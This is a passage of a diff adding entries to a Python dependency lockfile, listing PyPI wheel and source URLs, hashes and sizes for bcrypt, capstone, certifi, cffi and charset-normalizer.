"2025-09-25T19:50:19.809Z" }, + { url = "https://files.pythonhosted.org/packages/ac/31/79f11865f8078e192847d2cb526e3fa27c200933c982c5b2869720fa5fce/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8", size = 275662, upload-time = "2025-09-25T19:50:21.567Z" }, + { url = "https://files.pythonhosted.org/packages/d4/8d/5e43d9584b3b3591a6f9b68f755a4da879a59712981ef5ad2a0ac1379f7a/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a", size = 278240, upload-time = "2025-09-25T19:50:23.305Z" }, + { url = "https://files.pythonhosted.org/packages/89/48/44590e3fc158620f680a978aafe8f87a4c4320da81ed11552f0323aa9a57/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1", size = 311152, upload-time = "2025-09-25T19:50:24.597Z" }, + { url = "https://files.pythonhosted.org/packages/5f/85/e4fbfc46f14f47b0d20493669a625da5827d07e8a88ee460af6cd9768b44/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42", size = 313284, upload-time = "2025-09-25T19:50:26.268Z" }, + { url = "https://files.pythonhosted.org/packages/25/ae/479f81d3f4594456a01ea2f05b132a519eff9ab5768a70430fa1132384b1/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10", size = 341643, upload-time = "2025-09-25T19:50:28.02Z" }, + { url = "https://files.pythonhosted.org/packages/df/d2/36a086dee1473b14276cd6ea7f61aef3b2648710b5d7f1c9e032c29b859f/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172", size = 359698, upload-time = "2025-09-25T19:50:31.347Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f6/688d2cd64bfd0b14d805ddb8a565e11ca1fb0fd6817175d58b10052b6d88/bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683", size = 153725, upload-time = "2025-09-25T19:50:34.384Z" }, + { url = "https://files.pythonhosted.org/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2", size = 150912, upload-time = "2025-09-25T19:50:35.69Z" }, + { url = "https://files.pythonhosted.org/packages/27/44/d2ef5e87509158ad2187f4dd0852df80695bb1ee0cfe0a684727b01a69e0/bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927", size = 144953, upload-time = "2025-09-25T19:50:37.32Z" }, +] + +[[package]] +name = "capstone" +version = "5.0.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/39/01/6516910f546fbb996068207b9dd0229b14bc8dae223114d5e0e27d3cad11/capstone-5.0.9.tar.gz", hash = "sha256:0429af292ddc604d3c9344696807e281d5e728db029f00e6a4ea9e3bff1aac9e", size = 2947300, upload-time = "2026-05-28T16:05:57.968Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/f3/43f4dbfc36c7740d512621a9d42b276ac21bb6ca7cb974d4c8a19060d387/capstone-5.0.9-py3-none-macosx_10_9_universal2.whl", hash = "sha256:58a874d9a6cb15122135b1385a782e5b54c8a4d9396161b6498465046d2e0442", size = 2195391, upload-time = "2026-05-28T16:05:45.515Z" }, + { url = "https://files.pythonhosted.org/packages/70/74/d00de02c62ce864c6b43796c524516ea064e3e6fc1327d452f78270e8323/capstone-5.0.9-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:8c4a1d7134d7d5290e5d77066500385f2c7a4bf66835ccbfde5180042d508b3c", size = 1190392, upload-time = "2026-05-28T16:05:46.953Z" }, + { url = "https://files.pythonhosted.org/packages/42/9a/4eecfbc94961cda70301fd13de69042be1943bee456e37bc1369840601b1/capstone-5.0.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fc269c5082e17d7f9f265cd6980e2fdc6ab572df913951d76db0357e06b8001d", size = 1202361, upload-time = "2026-05-28T16:05:48.1Z" }, + { url = "https://files.pythonhosted.org/packages/45/d9/dbeadb9fcd461e608ce79b1cb647fed6baa812fa6e1c68b0ba5ef81291af/capstone-5.0.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41772ad0c71aa5d3e97d541e802593c2e71fb94ac7e20d4202f97ce2a3eb8ed5", size = 1461016, upload-time = "2026-05-28T16:05:49.554Z" }, + { url = "https://files.pythonhosted.org/packages/d1/39/17747862222bb062e86b501f1f148d5ff589b77908b080d30f7f085cbfb7/capstone-5.0.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:273fd8d747d2e35c88f91450be51a603ecfaafb00d96d9f315dcb8689c86193e", size = 1485316, upload-time = "2026-05-28T16:05:50.721Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/9a694f60f5b26612039d975c1c84d2ad8fd0ad839b0b1058dbe68dd32b0b/capstone-5.0.9-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1f5871b57e987d5bf23b531fbe868211b74ad750fa9b830a3d3cdc4956bc0ae3", size = 1483221, upload-time = "2026-05-28T16:05:51.925Z" }, + { url = "https://files.pythonhosted.org/packages/b9/74/c178ac241892bb3668b633065bdbe6dc719c2aa54668d68a8e23a6753525/capstone-5.0.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:69064219c814ad64af35469a7c4ddd19b730cacb96a1a796435ccde0e1567d05", size = 1459140, upload-time = "2026-05-28T16:05:53.182Z" }, + { url = "https://files.pythonhosted.org/packages/7b/f3/3865a0371603994f8bf521595b3072080bfe1b715f8bd080988d026dd2a1/capstone-5.0.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0cc3b1ec319ab0530efc6b181491b77dd3373c81b6dbcf2f05a80e3d8dd61d5e", size = 1488205, upload-time = "2026-05-28T16:05:54.31Z" }, + { url = "https://files.pythonhosted.org/packages/09/a1/39a575aa27a35b43b0ad93065a1803dba39038060eccfb29031d82e3fb2c/capstone-5.0.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:cfec34e6e01472fe60850c87c5bea9918c274fa2a605b510e6489bf87c0c9960", size = 1488865, upload-time = "2026-05-28T16:05:55.603Z" }, + { url = "https://files.pythonhosted.org/packages/50/e6/6f06fdb6a9ed32b2f7cd9c036b92d5324112c3ef7080f2c71efc367d40dd/capstone-5.0.9-py3-none-win_amd64.whl", hash = "sha256:732cedbbb56d42e723f14d7af6387f1454194a820b4b96b56d1e53f865ef85d0", size = 1273459, upload-time = "2026-05-28T16:05:56.73Z" }, +] + +[[package]] +name = "certifi" +version = "2026.5.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/ce/ee2ecad540810a79593028e88299baeae54d346cc7a0d94b6199988b89b1/certifi-2026.5.20.tar.gz", hash = "sha256:69dea482ab64caa7b9f6aba1c6bf48bb6a5448d1c0f1b17ab42ad8c763a5344d", size = 135422, upload-time = "2026-05-20T11:46:50.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/8c/57e832b7af6d7c5abe66eb3fbe3a3a32f4d11ea23a1aa7131371035be991/certifi-2026.5.20-py3-none-any.whl", hash = "sha256:3c52e209ba0a4ad7aebe60436a4ab349c39e1e602e8c134221e546902ad25897", size = 134134, upload-time = "2026-05-20T11:46:48.578Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = 